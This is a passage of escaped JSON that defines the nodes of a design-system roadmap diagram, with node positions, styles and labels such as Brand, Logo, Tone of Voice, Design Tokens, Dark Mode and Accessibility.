}\n    },\n    {\n      \"id\": \"hzVwLVzAij6TgPTcNHyhv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.138187271993502,\n        \"y\": 999.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dropdowns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ia1gYzepJOTvTro961eSj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -13.138187271993502,\n        \"y\": 999.400748222349\n      }\n    },\n    {\n      \"id\": \"5LCMzBnnS206t5EtgaUx8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 93.83384908709438,\n        \"y\": 946.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2prUeRYbSJTYjo2quJIKs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122\n      },\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 93.83384908709438,\n        \"y\": 946.400748222349\n      }\n    },\n    {\n      \"id\": \"Ia1gYzepJOTvTro961eSj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 161.33384908709436,\n        \"y\": 999.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"...other\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 161.33384908709436,\n        \"y\": 999.400748222349\n      }\n    },\n    {\n      \"id\": \"C-lhmqOewid4_JSJfI51y\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -62.62298223659093,\n        \"y\": 541.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"XzNwNomMj4gRw-CL3as4u\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 528\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -62.62298223659093,\n        \"y\": 541.4393516042962\n      }\n    },\n    {\n      \"id\": \"ILRDAnpfGHCZq-FBlbfDO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 676.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"A/B Tests & Experiments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 676.4393516042962\n      }\n    },\n    {\n      \"id\": \"pRJ9wEPNfFx_6EYB501vk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 729.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Regional Requirements\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 729.4393516042962\n      }\n    },\n    {\n      \"id\": \"-b4GjLpL_ppDMJSiChTef\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 782.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 782.4393516042962\n      }\n    },\n    {\n      \"id\": \"JnaNZ9MfMrXQrjW2wABzB\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -362.3175069304428,\n        \"y\": 982.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating Design Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -362.3175069304428,\n        \"y\": 982.900748222349\n      }\n    },\n    {\n      \"id\": \"zSv63LkcNpHjAMB4eZewE\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -377.3175069304428,\n        \"y\": 725.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"If building from existing design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 62,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -377.3175069304428,\n        \"y\": 725.4393516042962\n      }\n    },\n    {\n      \"id\": \"toyNbBB5tbyiJZkzuklIv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.1381872719935,\n        \"y\": 911.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Writing Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.1381872719935,\n        \"y\": 911.4393516042962\n      }\n    },\n    {\n      \"id\": \"fnlVIgsmyxj2UVCCjM-8g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.1381872719935,\n        \"y\": 964.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tone of Voice\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.1381872719935,\n        \"y\": 964.4393516042962\n      }\n    },\n    {\n      \"id\": \"Zspu1SsuTE34PVmYePcs4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.1381872719935,\n        \"y\": 1017.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Terminology\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.1381872719935,\n        \"y\": 1017.4393516042962\n      }\n    },\n    {\n      \"id\": \"1RJrMVJf_3clM7E5OML-f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.1381872719935,\n        \"y\": 1070.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.1381872719935,\n        \"y\": 1070.4393516042962\n      }\n    },\n    {\n      \"id\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -691.1381872719935,\n        \"y\": 1123.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Vision\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W4gEPRYmk5Y7y3PjI6fR7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -691.1381872719935,\n        \"y\": 1123.4393516042962\n      }\n    },\n    {\n      \"id\": \"03t80lsT2te9B0rYpIB9v\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -622.1381872719935,\n        \"y\": 867.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Brand\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 62,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 62,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -622.1381872719935,\n        \"y\": 867.400748222349\n      }\n    },\n    {\n      \"id\": \"SY-FCki-0MaUv7zvw6keW\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -711.6381872719935,\n        \"y\": 1180.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#fafafa\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"dWZ4Tbbb1lsfHP1qy0Z9Z\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 339\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.6381872719935,\n        \"y\": 1180.400748222349\n      }\n    },\n    {\n      \"id\": \"Wn8CylBz-hyl9-iXcUVTO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1233.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Monochrome Version\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"toyNbBB5tbyiJZkzuklIv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1233.4393516042962\n      }\n    },\n    {\n      \"id\": \"FA3JsZgNhKrgNHVtVreol\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1286.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Small Use Guidance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fnlVIgsmyxj2UVCCjM-8g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1286.4393516042962\n      }\n    },\n    {\n      \"id\": \"7n61402xwhIgJ7dPHg8q7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1339.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Placement Guidance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Zspu1SsuTE34PVmYePcs4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1339.4393516042962\n      }\n    },\n    {\n      \"id\": \"RmSFwKqL9yXXxGKZusKWX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1392.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Usage Guidance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1RJrMVJf_3clM7E5OML-f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1392.4393516042962\n      }\n    },\n    {\n      \"id\": \"-6LPUMRm-SqvRVEWPDFl8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1445.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"File Formats\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -696.6381872719935,\n        \"y\": 1445.4393516042962\n      }\n    },\n    {\n      \"id\": \"82Due7XFcIKGY5I8cp9yr\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -619.1381872719935,\n        \"y\": 1189.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Logo\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"03t80lsT2te9B0rYpIB9v\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 54,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 54,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -619.1381872719935,\n        \"y\": 1189.400748222349\n      }\n    },\n    {\n      \"id\": \"C4-NjCgai_t7QWvfj_d6x\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -711.6381872719935,\n        \"y\": 1506.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#fafafa\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"SY-FCki-0MaUv7zvw6keW\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 231\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.6381872719935,\n        \"y\": 1506.400748222349\n      }\n    },\n    {\n      \"id\": \"aLtOGjNFxaRzg0PI-ed99\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.1381872719935,\n        \"y\": 1559.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Accessibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Wn8CylBz-hyl9-iXcUVTO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.1381872719935,\n        \"y\": 1559.4393516042962\n      }\n    },\n    {\n      \"id\": \"PlW8mHnOTyYnbtl0zUSG9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.1381872719935,\n        \"y\": 1612.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"User Onboarding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FA3JsZgNhKrgNHVtVreol\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.1381872719935,\n        \"y\": 1612.4393516042962\n      }\n    },\n    {\n      \"id\": \"bD-DjUbAA6l2eK1R9ITcK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -698.1381872719935,\n        \"y\": 1665.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Microcopy Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TiCNCRpMPgZUhn7JdaIZA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -698.1381872719935,\n        \"y\": 1665.4393516042962\n      }\n    },\n    {\n      \"id\": \"6-o1viBIrvHaefbcMIJMW\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -641.6381872719935,\n        \"y\": 1515.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Guidelines\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"82Due7XFcIKGY5I8cp9yr\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 98,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -641.6381872719935,\n        \"y\": 1515.400748222349\n      }\n    },\n    {\n      \"id\": \"nkf1WaXyBcBFknVlywsYu\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -460.4579568300146,\n        \"y\": 860.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -460.4579568300146,\n        \"y\": 860.400748222349\n      }\n    },\n    {\n      \"id\": \"a53cl6ZKvYXxG25Ii2_zu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -351.3175069304428,\n        \"y\": 1252.796264330049\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Defining Design Tokens\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -351.3175069304428,\n        \"y\": 1252.796264330049\n      }\n    },\n    {\n      \"id\": \"hdHZ8LjWJm_kVkwAanQtC\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 1120.3745370913068\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"dWZ4Tbbb1lsfHP1qy0Z9Z\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 277\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 1120.3745370913068\n      }\n    },\n    {\n      \"id\": \"fW0cEy2SB0HDbiF7QA7Ev\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -14.166150912905621,\n        \"y\": 1172.611734127987\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Accessibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"toyNbBB5tbyiJZkzuklIv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -14.166150912905621,\n        \"y\": 1172.611734127987\n      }\n    },\n    {\n      \"id\": \"__Pv19gRr2SFknVnfm0Mr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -14.166150912905621,\n        \"y\": 1225.611734127987\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Functional Colors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"fnlVIgsmyxj2UVCCjM-8g\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -14.166150912905621,\n        \"y\": 1225.611734127987\n      }\n    },\n    {\n      \"id\": \"kxUnqpydDwB73IwrCPZM0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -14.166150912905621,\n        \"y\": 1278.611734127987\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dark Mode\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Zspu1SsuTE34PVmYePcs4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 181,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -14.166150912905621,\n        \"y\": 1278.611734127987\n      }\n    },\n    {\n      \"id\": \"XDfxs5cgjSuTEprZi2Z5b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -14.166150912905621,\n        \"y\": 1331.611734127987\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": 